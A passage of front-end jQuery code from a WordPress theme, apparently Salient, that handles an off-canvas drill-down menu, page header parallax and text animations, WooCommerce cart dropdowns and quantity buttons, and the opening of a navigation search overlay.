							$submenu 	= $this.parents('ul.sub-menu:first'),
							$item 		= $submenu.parent(),
							$flyin 		= $submenu.clone().insertAfter(self.$menu);
							
							var onAnimationEndFn = function () {
								self.$menu.off(self.animEndEventName).removeClass(self.options.animationClasses.classin);
								$flyin.remove();
							};
							
							setTimeout(function () {
								$flyin.addClass(self.options.animationClasses.classout);
								self.$menu.addClass(self.options.animationClasses.classin);
								if (self.supportAnimations) {
									self.$menu.on(self.animEndEventName, onAnimationEndFn);
								} else {
									onAnimationEndFn.call();
								}
								
								$item.removeClass('subviewopen');
								
								var $subview = $this.parents('.subview:first');
								if ($subview.is('li')) {
									$subview.addClass('subviewopen');
								}
								$subview.removeClass('subview');
							});
							
							
							$item.parents('.off-canvas-menu-container').css('height', $item.parents('.off-canvas-menu-container').find('.menuwrapper .menu').height());
							
							setTimeout(function () {
								$item.parents('.off-canvas-menu-container').transition({
									'height': $item.parent().height()
								}, 500, 'easeInOutQuad');
							}, 50);
							
							
							return false;
							
						});
						
					},
					closeMenu: function () {
						if (this.open) {
							this._closeMenu();
						}
					},
					_closeMenu: function () {
						var self = this,
						onTransitionEndFn = function () {
							self.$menu.off(self.transEndEventName);
							self._resetMenu();
						};
						
						this.$menu.removeClass('menuopen');
						this.$menu.addClass('menu-toggle');
						this.$trigger.removeClass('active');
						
						if (this.supportTransitions) {
							this.$menu.on(this.transEndEventName, onTransitionEndFn);
						} else {
							onTransitionEndFn.call();
						}
						
						this.open = false;
					},
					openMenu: function () {
						if (!this.open) {
							this._openMenu();
						}
					},
					_openMenu: function () {
						var self = this;
						$body.off('click').on('click.menu', function () {
							self._closeMenu();
						});
						this.$menu.addClass('menuopen menu-toggle').on(this.transEndEventName, function () {
							$(this).removeClass('menu-toggle');
						});
						this.$trigger.addClass('active');
						this.open = true;
					},
					_resetMenu: function () {
						this.$menu.removeClass('subview');
						this.$menuitems.removeClass('subview subviewopen');
					}
				};
				
				var logError = function (message) {
					if (window.console) {
						window.console.error(message);
					}
				};
				
				$.fn.dlmenu = function (options) {
					if (typeof options === 'string') {
						var args = Array.prototype.slice.call(arguments, 1);
						this.each(function () {
							var instance = $.data(this, 'menu');
							if (!instance) {
								logError("cannot call methods on menu prior to initialization; " +
								"attempted to call method '" + options + "'");
								return;
							}
							if (!$.isFunction(instance[options]) || options.charAt(0) === "_") {
								logError("no such method '" + options + "' for menu instance");
								return;
							}
							instance[options].apply(instance, args);
						});
					} else {
						this.each(function () {
							var instance = $.data(this, 'menu');
							if (instance) {
								instance._init();
							} else {
								instance = $.data(this, 'menu', new $.DLMenu(options, this));
							}
						});
					}
					return this;
				};
				
				
				/**
				* Initialize DL menu.
				*
				* @since 6.0
				*/
				function fullscreenMenuInit() {
					
					$('#slide-out-widget-area .off-canvas-menu-container .menu').wrap('<div class="menu-wrap menuwrapper" />');
					$('#slide-out-widget-area .off-canvas-menu-container .menu').addClass('menuopen');
					
					var $ocmAnimationClassNum = ($('#slide-out-widget-area.fullscreen-alt').length > 0) ? '4' : '5';
					$('#slide-out-widget-area .off-canvas-menu-container .menu-wrap').dlmenu({
						animationClasses: {
							classin: 'dl-animate-in-' + $ocmAnimationClassNum,
							classout: 'dl-animate-out-' + $ocmAnimationClassNum
						}
					});
					
				}
				
			

			
				
				
				
				
				
				/**
				* Set the page header height when using "slide down" theme option effect.
				*
				* @since 2.0
				*/
				function pageHeaderSlideInHeight() {
					
					var pageHeaderHeight = parseInt($pageHeaderBG.height());
					$('body[data-aie="slide-down"] #page-header-wrap:not(.fullscreen-header)').css('height', pageHeaderHeight + 'px');
					
				}
				
				
				/**
				* Fired after page header image has loaded.
				*
				* @since 2.0
				*/
				function pageHeaderAfterLoad() {
					

					// Transparent
					if ($('#header-outer[data-transparent-header="true"]').length > 0) {
						$('#page-header-bg[data-parallax="1"]').css({
							'top': nectarDOMInfo.adminBarHeight
						});
					} else {
						
						if ($('body[data-header-resize="0"]').length == 0 && $('body.material').length == 0) {
							$('#page-header-bg[data-parallax="1"]').css({
								'top': ($('#page-header-wrap').offset().top) + 'px'
							});
						}
					}
					
					//fade in header
					if ($('#ajax-content-wrap').length == 0 || !$body.hasClass('ajax-loaded')) {
						$('#page-header-bg[data-parallax="1"]').animate({
							'opacity': 1
						}, 350, 'easeInCubic');
					} else if ($('#ajax-content-wrap').length == 1) {
						$('#page-header-bg[data-parallax="1"]').css({
							'opacity': 1
						});
					}
					
					$('#page-header-bg[data-parallax="1"] .nectar-particles').append('<div class="fade-out" />');
					
				}
				
				
				
				/**
				* Page header unload event.
				*
				* @since 2.0
				*/
				function pageHeaderUnload() {
					
					if (navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1 || navigator.userAgent.match(/(iPod|iPhone|iPad)/)) {
						window.onunload = function () {
							
							pageHeaderInit();
							
							$('#page-header-bg[data-parallax="1"] .span_6').css({
								'opacity': 1
							});
							
						};
					}
					
				}
				
				
				/**
				* Page header initialization.
				*
				* @since 2.0
				*/
				function pageHeaderInit() {
					
					var $headerRemoveStickyness = ($('body[data-hhun="1"]').length > 0 && $('#header-outer[data-remove-fixed="1"]').length > 0) ? 1 : 0;

					if ($('#page-header-bg[data-parallax="1"]').length > 0) {
						
						// Fade in
						var img           = new Image(),
						pageHeaderHeight  = parseInt($pageHeaderBG.height()),
						$initialImgCheck  = extractUrl($('#page-header-bg[data-parallax="1"]').css('background-image'));
						
						if ($initialImgCheck && $initialImgCheck.indexOf('.') !== -1) {
							img.onload = function () {
								pageHeaderAfterLoad();
							};
							
							img.src = extractUrl($('#page-header-bg[data-parallax="1"]').css('background-image'));
							
						} else {
							pageHeaderAfterLoad();
						}
						
						
						if ($('body[data-hhun="1"]').length > 0 && !$('#header-outer[data-remove-fixed="1"]').length > 0) {
							$headerOuterEl.addClass('parallax-contained');
						}
						
						// Calculate on scroll.
						window.addEventListener('scroll', function () {
							if( nectarDOMInfo.winW > 1000 ) {
								window.requestAnimationFrame(parallaxPageHeaderCalc);
							}
						}, false);
					
					}
					
					var $pt_timeout = ($('body[data-ajax-transitions="true"]').length > 0 && $('#page-header-bg[data-animate-in-effect="slide-down"]').length > 0) ? 350 : 0;
					
					if ($pageHeaderBG.length > 0) {
						
						// Slide in height effect.
						setTimeout(function () {
							pageHeaderSlideInHeight();
						}, $pt_timeout);
						
						$('#page-header-bg[data-animate-in-effect="fade-in"]').addClass('loaded');
						
						// Using bg classname.
						var $initialImgCheckAscend = extractUrl($pageHeaderBG.css('background-image'));
						if ($initialImgCheckAscend && $initialImgCheckAscend.indexOf('.') !== -1) {
							$pageHeaderBG.addClass('has-bg');
						}
						
						// Resize slide in height.
						$window.on('smartresize',pageHeaderSlideInHeight);
						
					}
					
					function parallaxPageHeaderCalc() {

						var $scrollTop = nectarDOMInfo.scrollTop,
						$multiplier1   = 0.4,
						$multiplier2   = 0.09;
						
						if (!$body.hasClass('mobile') && 
						navigator.userAgent.match(/iPad/i) == null && 
						$('body.material-ocm-open').length == 0) {
							
							// Material needs to set top for when effect wrap sets transform.
							if (nectarDOMInfo.winW > 1000) {
								$('body:not("[data-header-format=\'left-header\']") #page-header-bg').css('top', $('#ajax-content-wrap').offset().top);
							} else {
								$('body:not("[data-header-format=\'left-header\']") #page-header-bg').css('top', '0');
							}
							
							// Calc bg pos.
							if ($('#page-header-bg.out-of-sight').length == 0) {
								
								if ($headerRemoveStickyness) {
									$pageHeaderBG.css({
										'transform': 'translateY(' + $scrollTop * -0.55 + 'px)'
									});
									$('#page-header-bg .span_6 .inner-wrap, body[data-button-style="rounded"] #page-header-bg .scroll-down-wrap, #page-header-bg[data-post-hs="default_minimal"] .author-section').css({
										'transform': 'translateY(' + $scrollTop * -0.45 + 'px)'
									});
									
								} else {
									$pageHeaderBG.css({
										'transform': 'translateY(' + $scrollTop * -$multiplier1 + 'px)'
									});
									$('#page-header-bg .span_6 .inner-wrap, body[data-button-style="rounded"] #page-header-bg .section-down-arrow, #page-header-bg[data-post-hs="default_minimal"] .author-section').css({
										'transform': 'translateY(' + $scrollTop * -$multiplier2 + 'px)'
									});
									$('#page-header-bg .span_6 .inner-wrap,  #page-header-bg[data-post-hs="default_minimal"] .author-section').css({
										'opacity': 1 - ($scrollTop / (pageHeaderHeight - 60))
									});
								}
								
	
								if ($('#page-header-bg .span_6 .inner-wrap').css('opacity') == 0) {
									$('#page-header-bg .span_6 .inner-wrap, #page-header-bg .portfolio-filters').hide();
								} else {
									$('#page-header-bg .span_6 .inner-wrap, #page-header-bg .portfolio-filters').show();
								}
								
								
							} 
							
							// Hide elements to allow other parallax sections to work in webkit browsers.
							if (($scrollTop / (pageHeaderHeight + $('#header-space').height() + nectarDOMInfo.adminBarHeight)) > 1) {
								$('#page-header-bg, .nectar-particles, #page-header-bg .fade-out').css('visibility', 'hidden').hide().addClass('out-of-sight');
							} 
							else {
								$('#page-header-bg, .nectar-particles, #page-header-bg .fade-out').css('visibility', 'visible').show().removeClass('out-of-sight');
								
								// Ensure header is centered.
								pageHeaderHeight = parseInt($pageHeaderBG.height());
								$('#page-header-bg .container > .row').css('top', 0);
								
							}
	
						}
	
					}
					
					if ($pageHeaderBG.length > 0) {
						
						// Bind unload event
						pageHeaderUnload();
						
						// Initialize text effects.
						if( $('.nectar-box-roll').length == 0 ) {
							pageHeaderTextEffectInit();
						}
						
					}

				}
				
				
				




				/**
				* Page header text effect markup creation.
				*
				* @since 6.0
				*/
				function pageHeaderTextEffectMarkup() {
					
					$pageHeaderBG.each(function () {
						
						if ($(this).attr('data-text-effect') == 'rotate_in') {
							
							var $topHeading = 'none';
							
							if ($(this).find('.span_6 h1').length > 0) {
								$topHeading = 'h1';
							}

							if ($topHeading != 'none') {
								
								var $selector = ($(this).find('.nectar-particles').length > 0) ? '.inner-wrap.shape-1' : '.span_6';
								
								$(this).find($selector).find($topHeading).addClass('top-heading').contents().filter(function () {
									return this.nodeType === 3 && typeof this.data != 'undefined' && this.data.replace(/\s+/, "");
								}).wrap('<span class="wraped"></span>');
								
								$(this).find($selector).find('.wraped').each(function () {
									
									var textNode  = $(this),
									text          = textNode.text().split(' '),
									replace       = '';
									
									$.each(text, function (index, value) {
										if (value.replace(/\s+/, "")) {
											replace += '<span class="wraped"><span>' + value + '</span></span> ';
										}
									});
									
									textNode.replaceWith($(replace));
									
								});
								
							} 
							
						} 
						
					});
					
				}
				
				
				/**
				* Page header text effect animation.
				*
				* @since 6.0
				*/
				function pageHeaderTextEffect() {
					
					if ($('#page-header-bg .nectar-particles').length == 0 && $('#page-header-bg[data-text-effect="none"]').length == 0 || 
					$('.nectar-box-roll').length > 0 && $('#page-header-bg .nectar-particles').length == 0) {
						
						var $selector = ($('.nectar-box-roll').length == 0) ? '#page-header-bg .span_6' : '.nectar-box-roll .overlaid-content .span_6';
						
						$($selector).find('.wraped').each(function (i) {
							$(this).find('span').delay(i * 370).transition({
								rotateX: '0',
								'opacity': 1,
								y: 0
							}, 400, 'easeOutQuad');
						});
						
						setTimeout(function () {
							
							$($selector).find('.inner-wrap > *:not(.top-heading)').each(function (i) {
								$(this).delay(i * 370).transition({
									rotateX: '0',
									'opacity': 1,
									y: 0
								}, 650, 'easeOutQuad');
							});
							
							$('.scroll-down-wrap, .scroll-down-wrap .section-down-arrow').removeClass('hidden');
							
						}, $($selector).find('.wraped').length * 370);
					}
					
				}
				
				
				/**
				* Page header text effect initialization.
				*
				* @since 6.0
				*/
				function pageHeaderTextEffectInit() {
					
					pageHeaderTextEffectMarkup();
					
					var $effectTimeout = ($loadingScreenEl.length > 0) ? 800 : 0;
					
					if ($('#page-header-bg .nectar-video-wrap video').length == 0) {
						setTimeout(pageHeaderTextEffect, $effectTimeout);
					}
					
				}
				
				
				

				


				/**
				* Permanent transparent header effect.
				*
				* @since 6.0
				*/
				function midnightInit() {
					
					if ($('#header-outer[data-permanent-transparent="1"]').length > 0 && 
					$('body[data-bg-header="true"]').length > 0) {
						

						// Pages that set no midnight coloring.
						if ($('.container-wrap div[data-midnight]').length == 0) {
							$('.container-wrap').attr('data-midnight', 'dark');
						}
						
						//// Cache midnight compat divs.
						var $midnightCompatArr = [];
						$('div[data-midnight]').each(function () {
							
							if ($(this).attr('data-midnight') == 'light' && $(this).parents('.pum-content').length == 0 || 
							$(this).attr('data-midnight') == 'dark' && $(this).parents('.pum-content').length == 0) {
								
								if( $(this).is('#page-header-bg') && $(this).parents('#page-header-wrap[data-midnight]').length > 0 ) {
									// skip.
								} else {
									$midnightCompatArr.push($(this));
								}
								
							}
							
						});
						
						
						if ($midnightCompatArr.length > 0) {
				
							$.each($midnightCompatArr, function (k, v) {
								
								if (v.attr('data-midnight') == 'light' || v.attr('data-midnight') == 'dark') {
									
									var $that     = v;
									var waypoint  = new Waypoint({
										element: $that,
										handler: function (direction) {
											
											if ($('body.material-ocm-open').length > 0) {
												return;
											}
											
											var $textColor;
								
											if (direction == 'down') {
												$textColor = ($that.attr('data-midnight') == 'light') ? '' : 'dark-slide';
												$headerOuterEl.removeClass('dark-slide').addClass($textColor);
												
											} else {
												
												var $prevMidItem;
												
												if (k - 1 >= 0) {
													$prevMidItem = k - 1;
												} else {
													$prevMidItem = k;
												}
												
												$textColor = ($midnightCompatArr[$prevMidItem].attr('data-midnight') == 'light') ? '' : 'dark-slide';
												$headerOuterEl.removeClass('dark-slide').addClass($textColor);
												
											}
											
										},
										offset: $headerOuterEl.height()
										
									});
									
								}
								
							}); 
							
						} 
						
					} 
					
					
				}
				
				
				

				/**
				* Box roll header effect initialization.
				*
				* @since 6.0
				*/
				function nectarBoxRollInit() {
					if ($('.nectar-box-roll').length > 0 && typeof NectarBoxRoll !== 'undefined') {
						pageHeaderTextEffectInit();
						nectarBoxRoll = new NectarBoxRoll(nectarDOMInfo, waypoints, midnightInit, pageLoadHash, resizeVideoToCover);
					}
				}
				
			
			
				
				/**
				* Create all waypoints.
				*
				* @since 6.0
				*/
				function waypoints() {
					rowBGAnimations();
					columnBGAnimations();
					colAndImgAnimations();
					progressBars();
					dividers();
					iconList();
					animatedTitles();
					highlightedText();
					imageWithHotspots();
					clientsFadeIn();
					splitLineHeadings();
					svgAnimations();
					milestoneInit();
					nectarFancyUlInit();
					owl_carousel_animate();
					headerRowColorInheritInit();
					morphingOutlines();
					animatedColBorders();
					foodMenuItems();
					vcWaypoints();
				}
				
				
				
				/**
				* Salient page builder elements initialization.
				*
				* @since 10.5
				*/
				function salientPageBuilderElInit() {
					flexsliderInit();
					flickityLazyInit();
					setTimeout(flickityInit, 100);
					twentytwentyInit();
					standardCarouselInit();
					productCarouselInit();
					clientsCarouselInit();
					carouselfGrabbingClass();
					setTimeout(tabbedInit, 60);
					accordionInit();
					largeIconHover();
					nectarIconMatchColoring();
					coloredButtons();
					ctaLinkBG();
					teamMemberFullscreen();
					flipBoxInit();
					owlCarouselInit();
					mouseParallaxInit();
					ulCheckmarks();
					nectarFancyUlIcons();
					nectarFancyBoxHover();
					nectarVideoLightbox();
					nectarKeyframeAssist();
					morphingOutlinesInit();
					nectarPostGridInit();
					cascadingImageInit();
					imageWithHotspotEvents();
					pricingTableHeight();
					pageSubmenuInit();
					nectarLiquidBGs();
					nectarTestimonialSliders();
					nectarTestimonialSlidersEvents();
					recentPostsTitleOnlyEqualHeight();
					recentPostsInit();
					parallaxItemHoverEffect();
					fsProjectSliderInit();
					postMouseEvents();
					masonryPortfolioInit();
					masonryBlogInit();
					portfolioCustomColoring();
					searchResultMasonryInit();
					stickySidebarInit();
					portfolioSidebarFollow();
					splitLineHeadingInit();
				}
				
				
				
				
				/***************** WooCommerce *****************/
				
				
				/**
				* Add quantity buttons to WooCommerce pages 
				*
				* @since 10.5
				*/
				function wooQauntityBtns() {
					
					jQuery(document.body).on('updated_cart_totals', function () {
						
						if ($('.plus').length == 0) {
							$('div.quantity:not(.buttons_added), td.quantity:not(.buttons_added)')
								.addClass('buttons_added')
								.append('<input type="button" value="+" class="plus" />')
								.prepend('<input type="button" value="-" class="minus" />');
						}
					});
					
					
					// Quantity buttons
					if ($('.plus').length == 0) {
						
						$('div.quantity:not(.buttons_added), td.quantity:not(.buttons_added)')
							.addClass('buttons_added')
							.append('<input type="button" value="+" class="plus" />')
							.prepend('<input type="button" value="-" class="minus" />');
						
						$(document).on('click', '.plus, .minus', function () {
							
							// Get values
							var $qty   = $(this).closest('.quantity').find('.qty'),
							currentVal = parseFloat($qty.val()),
							max        = parseFloat($qty.attr('max')),
							min        = parseFloat($qty.attr('min')),
							step       = $qty.attr('step');
							
							// Format values
							if (!currentVal || currentVal === '' || currentVal === 'NaN') {
								currentVal = 0;
							}
							if (max === '' || max === 'NaN') {
								max = '';
							}
							if (min === '' || min === 'NaN') {
								min = 0;
							}
							if (step === 'any' || step === '' || step === undefined || parseFloat(step) === 'NaN') {
								step = 1;
							}
							
							// Change the value
							if ($(this).is('.plus')) {
								
								if (max && (max == currentVal || currentVal > max)) {
									$qty.val(max);
								} else {
									$qty.val(currentVal + parseFloat(step));
								}
								
							} else {
								
								if (min && (min == currentVal || currentVal < min)) {
									$qty.val(min);
								} else if (currentVal > 0) {
									$qty.val(currentVal - parseFloat(step));
								}
								
							}
							
							// Trigger change event
							$qty.trigger('change');
							
						});
					}
					
				}
				
				
				
				/**
				* WooCommerce plugin events.
				*
				* @since 10.5
				*/
				function wooCommerceEvents() {
					
					var wooCartTimeout;
					
					// Notification.
					$body.on('click', '.product .add_to_cart_button', function () {
						
						var $productHeading = ($(this).parents('li').find('h2').length > 0) ? 'h2' : 'h3',
						productToAdd        = $(this).parents('li').find($productHeading).text();
						
						$('#header-outer .cart-notification span.item-name').html(productToAdd);
						
					});
					
					// Notification hover.
					$body.on('mouseenter', '#header-outer .cart-notification', function () {

						$(this).hide();
						
						$('#header-outer .widget_shopping_cart')
							.addClass('open')
							.stop(true, true)
							.show();
							
						$('#header-outer .cart_list')
							.stop(true, true)
							.show();

						clearTimeout(wooCartTimeout);
						
					});
					
					
					// Cart dropdown.
					var $headerCartSelector = '#header-outer .nectar-woo-cart';
					
					if ($($headerCartSelector).length > 0) {
						
						$($headerCartSelector).hoverIntent(function () {
							
							$('#header-outer .widget_shopping_cart')
								.addClass('open')
								.stop(true, true)
								.show();
								
							$('#header-outer .cart_list')
								.stop(true, true)
								.show();
								
							clearTimeout(wooCartTimeout);
							
							$('#header-outer .cart-notification').hide();
					
						});
					}
					
					
					$body.on('mouseleave', $headerCartSelector, function () {
						var $that = $(this);
						setTimeout(function () {
							if (!$that.is(':hover')) {
								$('#header-outer .widget_shopping_cart')
									.removeClass('open')
									.stop(true, true)
									.fadeOut(300);
									
								$('#header-outer .cart_list')
									.stop(true, true)
									.fadeOut(300);
							}
						}, 200);
					});
					
					if ($('#header-outer[data-cart="false"]').length == 0) {
						
						$body.on('added_to_cart', shopping_cart_dropdown_show);
						$body.on('added_to_cart', shopping_cart_dropdown);
						
						// Update header cart markup after ajax remove.
						$body.on('removed_from_cart', wooCartImgPos);
					}
					
					function shopping_cart_dropdown() {
						
						if (!$('.widget_shopping_cart .widget_shopping_cart_content .cart_list .empty').length && 
						$('.widget_shopping_cart .widget_shopping_cart_content .cart_list').length > 0) {
							
							$('.cart-menu-wrap').addClass('has_products');
							$('header#top nav > ul, #search-outer #search #close a, header#top .span_9 >.slide-out-widget-area-toggle').addClass('product_added');
							
							if (!$('.cart-menu-wrap').hasClass('static')) {
								$('.cart-menu-wrap, #mobile-cart-link').addClass('first-load');
							}
							
							// Change position of img in cart nav dropdown.
							wooCartImgPos();
							
						}
						
					}
					
					
					function shopping_cart_dropdown_show(e) {
						
						clearTimeout(wooCartTimeout);
						
						if (!$('.widget_shopping_cart .widget_shopping_cart_content .cart_list .empty').length && 
						$('.widget_shopping_cart .widget_shopping_cart_content .cart_list').length > 0 && 
						typeof e.type != 'undefined') {
							
							// Standalone woocommerce add to cart buttons.
							if ($('#header-outer .cart-notification .item-name').length > 0 && 
							$('#header-outer .cart-notification .item-name').text().length == 0) {
								return;
							}
							
							// Before cart has slide in.
							if (!$('#header-outer .cart-menu-wrap').hasClass('has_products')) {
								
								setTimeout(function () {
									$('#header-outer .cart-notification').fadeIn(400);
								}, 400);
								
							} else if (!$('#header-outer .cart-notification').is(':visible')) {
								$('#header-outer .cart-notification').fadeIn(400);
							} else {
								$('#header-outer .cart-notification').show();
							}
							wooCartTimeout = setTimeout(hideCart, 2700);
							
						}
					}
					
					function hideCart() {
						$('#header-outer .cart-notification').stop(true, true).fadeOut();
					}
					
					function checkForWooItems() {
						
						var checkForCartItems = setInterval(shopping_cart_dropdown, 250);
						setTimeout(function () {
							clearInterval(checkForCartItems);
						}, 4500);
						
					}
					
					function wooCartImgPos() {
						$('#header-outer .widget_shopping_cart .cart_list li, #slide-out-widget-area .widget_shopping_cart .cart_list li').each(function () {
							
							if ($(this).find('> img').length == 0 && $(this).find('.product-meta').length == 0) {
								
								var productCartImgLinkSrc = ($(this).find('> a[href]:not(.remove)').length > 0) ? $(this).find('> a[href]:not(.remove)').attr('href') : '';
								var productCartImg        = $(this).find('> a > img').clone();
								
								$(this).wrapInner('<div class="product-meta" />');
								$(this).prepend(productCartImg);
								
								if (productCartImgLinkSrc.length > 0) {
									productCartImg.wrap('<a href="' + productCartImgLinkSrc + '"></a>');
								}
								
							}
							
						});
					}
					
					if ($('#header-outer[data-cart="false"]').length == 0) {
						checkForWooItems();
					}
					
					function nectarAccountPageTabs() {
						
						// Not on account page.
						if ($('body.woocommerce-account #customer_login').length == 0) {
							return;
						}
						
						// Create HTML.
						$('.woocommerce-account .woocommerce > #customer_login').prepend('<div class="nectar-form-controls" />');
						
						$('.woocommerce-account .woocommerce > #customer_login > div:not(.nectar-form-controls)').each(function () {
							var $title = $(this).find('> h2').text();
							$('#customer_login .nectar-form-controls').append('<div class="control">' + $title + '</div>');
						});
						
						// Click event.
						$('.woocommerce-account .woocommerce > #customer_login .nectar-form-controls .control').on('click', function () {
							
							$('.woocommerce-account .woocommerce > #customer_login .nectar-form-controls .control').removeClass('active');
							$(this).addClass('active');
							
							var formIndex = $(this).index() + 1;
							$('#customer_login div[class*="u-column"]').hide();
							$('#customer_login div[class*="u-column"].col-' + formIndex).show();
							
							setTimeout(function () {
								$('#customer_login div[class*="u-column"]').removeClass('visible');
								$('#customer_login div[class*="u-column"].col-' + formIndex).addClass('visible');
							}, 30);
							
						});
						
						// Starting.
						$('.woocommerce-account .woocommerce > #customer_login .nectar-form-controls .control:nth-child(1)').trigger('click');
						
					}
					
					nectarAccountPageTabs();
					
					// Text on hover effect.
					$body.on('mouseover', '.text_on_hover .product-wrap, .text_on_hover > a:first-child', function () {
						$(this).parent().addClass('hovered');
					});
					
					$body.on('mouseout', '.text_on_hover .product-wrap, .text_on_hover > a:first-child', function () {
						$(this).parent().removeClass('hovered');
					});

					
					// Material/fancy parallax hover effect zindex.
					if ($('.material.product').length > 0 || 
					$('.minimal.product').length > 0 || 
					$('.nectar-fancy-box[data-style="parallax_hover"]').length > 0 || 
					$('.nectar-category-grid[data-shadow-hover="yes"]').length > 0) {
						
						var $productZindex = 101;
						
						$body.on('mouseenter', '.material.product, .minimal.product, .nectar-fancy-box[data-style="parallax_hover"], .nectar-category-grid[data-shadow-hover="yes"] .nectar-category-grid-item', function () {
							$productZindex++;
							$(this).css('z-index', $productZindex + 1);
						});
						
						$body.on('mouseleave', '.material.product, .minimal.product, .nectar-fancy-box[data-style="parallax_hover"], .nectar-category-grid[data-shadow-hover="yes"] .nectar-category-grid-item', function () {
							
							var $that = $(this);
							setTimeout(function () {
								if (!$that.is(':hover')) {
									$that.css('z-index', 100);
								}
							}, 350);
						});
						
						// Reset to stop zindex from getting too high.
						setInterval(function () {
							if ($('.nectar-fancy-box[data-style="parallax_hover"]:hover').length > 0 || 
							$('.minimal.product:hover').length > 0) {
								return;
							}
							
							$('.material.product:not(:hover), .minimal.product:not(:hover), .nectar-fancy-box[data-style="parallax_hover"]:not(:hover), .nectar-category-grid[data-shadow-hover="yes"] .nectar-category-grid-item:not(:hover)').css('z-index', 100);
							$productZindex = 101;
						}, 10000);
						
					}
					
					function minimalProductHover() {
						
						// Add icons.
						$('.products .classic .product-wrap .add_to_cart_button').wrapInner('<span />');
						$('.products .classic .product-wrap .add_to_cart_button').prepend('<i class="normal icon-salient-cart"></i>');
						
						// Bind hover.
						$body.on('mouseover', '.products .minimal.product', function () {
							minimalProductCalc($(this));
						});
						
						$body.on('mouseleave', '.products .minimal.product', function () {
							
							$(this).find('.background-color-expand').css({
								'transform': 'scale(1)'
							});
							
						});
						
						// Starting trigger mouse over.
						$('.products .minimal.product').each(function () {
							if ($(this).is(':hover')) {
								$(this).trigger('mouseover');
							}
						});
					}
					
					function minimalProductCalc(el) {
						
						var $item   = el,
						$itemWidth  = $item.width(),
						$itemHeight = $item.height(),
						$wChange    = (parseInt($itemWidth) + 40) / parseInt($itemWidth),
						$hChange    = (parseInt($itemHeight) + 40) / parseInt($itemHeight);
						
						$item.addClass('hover-bound');
						
						$item.find('.background-color-expand').css({
							'transform': 'scale(' + $wChange + ',' + $hChange + ') translateY(0px)'
						});
						
					}
					
					minimalProductHover();
					

					
					// Mobile widget filters.
					$('.woocommerce #sidebar .widget.woocommerce').each(function () {
						
						// Skip widgets without any titles.
						if ($(this).find('> h4').length == 0) {
							$(this).addClass('no-widget-title');
						}
					});
					
					$body.on('click', '#sidebar .widget.woocommerce:not(.widget_price_filter) h4', function () {
						
						if ($window.width() < 1000) {
							
							if ($(this).parent().is('.widget_product_tag_cloud')) {
								$(this).parent().find('> div').slideToggle();
							}
							if ($(this).parent().is('.woocommerce-widget-layered-nav') && $(this).parent().find('> .woocommerce-widget-layered-nav-dropdown').length > 0) {
								$(this).parent().find('> .woocommerce-widget-layered-nav-dropdown').slideToggle();
							}
							
							$(this).parent().find('> ul').slideToggle();
								
							$(this).parent().toggleClass('open-filter');
						}
						
					});
					
					// Slide in cart event.
					$body.on('mouseenter', '#header-outer [data-cart-style="slide_in"] .cart-menu-wrap', openRightCart);
					
					function openRightCart() {
						
						if ($('.nectar-slide-in-cart ul.cart_list li:not(.empty)').length > 0) {
							
							$('.nectar-slide-in-cart').addClass('open');
							$window.on('mousemove.rightCartOffsetCheck', closeCartCheck);
							
						}
					}
					
					function closeCartCheck(e) {
						
						var $windowWidth = $window.width();
						if (e.clientX < $windowWidth - 370 - $bodyBorderWidth) {
							
							$window.off('mousemove.rightCartOffsetCheck', closeCartCheck);
							
							$('.nectar-slide-in-cart').removeClass('open');
							
						}
						
					}
					
					// Add quantity buttons if needed.
					wooQauntityBtns();
				
				}
				
				
				


				/**
		     * Search in navigation functionality.
		     *
		     * @since 10.5
		     */

				function navigationSearchInit() {
					
					var $placeholder = ($('#search-outer #search input[type=text][data-placeholder]').length > 0) ? $('#search-outer #search input[type=text]').attr('data-placeholder') : '';
					
					// Material skin add search BG markup.
					if ($body.hasClass('material') && $('#header-outer .bg-color-stripe').length == 0) {
						$headerOuterEl.append('<div class="bg-color-stripe" />');
					}
					
					// Prevent jumping on click.
					$body.on('click', '#search-btn a', function () {
						return false;
					});
					
					// Open search on mouseup.
					$body.on('click', '#search-btn a:not(.inactive), #header-outer .mobile-search', function () {
						
						if ($(this).hasClass('open-search')) {
							return false;
						}
						
						// Close menu on original skin.
						if( $body.hasClass('original') &&	$('.slide-out-widget-area-toggle.mobile-icon a.open').length > 0 ) {
							$('.slide-out-widget-area-toggle.mobile-icon a')
								.addClass('non-human-allowed')
								.trigger('click');
								
								setTimeout(function () {
										$('.slide-out-widget-area-toggle.mobile-icon a').removeClass('non-human-allowed');
								}, 100);
						}
						
						if ($body.hasClass('ascend') || 
						$('body[data-header-format="left-header"]').length > 0 && $('body.material').length == 0) {
							
							// Ascend theme skin.
							$('#search-outer > #search form, #search-outer #search .span_12 span, #search-outer #search #close').css('opacity', 0);
							
							$('#search-outer > #search form').css('transform', 'translateY(-30px)');
							$('#search-outer #search .span_12 span').css('transform', 'translateY(20px)');
							
							$('#search-outer').show();
							$('#search-outer').stop().transition({
								scale: '1,0',
								'opacity': 1
							}, 0).transition({
								scale: '1,1'
							}, 700, 'cubic-bezier(0.2, 1, 0.3, 1)');
							
							$('#search-outer > #search form').delay(350).transition({
								'opacity': 1,
								'transform': 'translateY(0)'
							}, 700, 'cubic-bezier(0.2, 1, 0.3, 1)');
							
							$('#search-outer #search #close').delay(500).transition({
								'opacity': 1
							}, 700, 'cubic-bezier(0.2, 1, 0.3, 1)');
							
							
							$('#search-outer #search .span_12 span').delay(450).transition({
								'opacity': 1,
								'transform': 'translateY(0)'
							}, 700, 'cubic-bezier(0.2, 1, 0.3, 1)');
							
						} 
						
						else if (!$body.hasClass('material')) {
							// Original theme skin.
							$('#search-outer').stop(true).fadeIn(600, 'easeOutExpo');
						} 
						else {
							
							// Material theme skin.
							$('#header-outer[data-transparent-header="true"] .bg-color-stripe').css('transition', '');
							$('#search-outer, #ajax-content-wrap').addClass('material-open');
							$headerOuterEl.addClass('material-search-open');
							$('#fp-nav').addClass('material-ocm-open');

						}
						
						
						setTimeout(function () {
							
							$('#search input[type=text]').trigger('focus');
							
							if ($('#search input[type=text]').attr('value') == $placeholder) {
								$('#search input[type=text]').setCursorPosition(0);
							}
							
						}, 300);
						
						
						$(this).toggleClass('open-search');
						
						// Close slide out widget area.
						$('.slide-out-widget-area-toggle a:not(#toggle-nav).open:not(.animating)').trigger('click');
						
						return false;
						
					});
					
					// Handle the placeholder value.
					$('body:not(.material)').on('keydown', '#search input[type=text]', function () {
						if ($(this).attr('value') == $placeholder) {
							$(this).attr('value', '');
						}
					});
					
					$('body:not(.material)').on('keyup', '#search input[type=text]', function () {
						if ($(this).attr('value') == '') {
							$(this).attr('value', $placeholder);
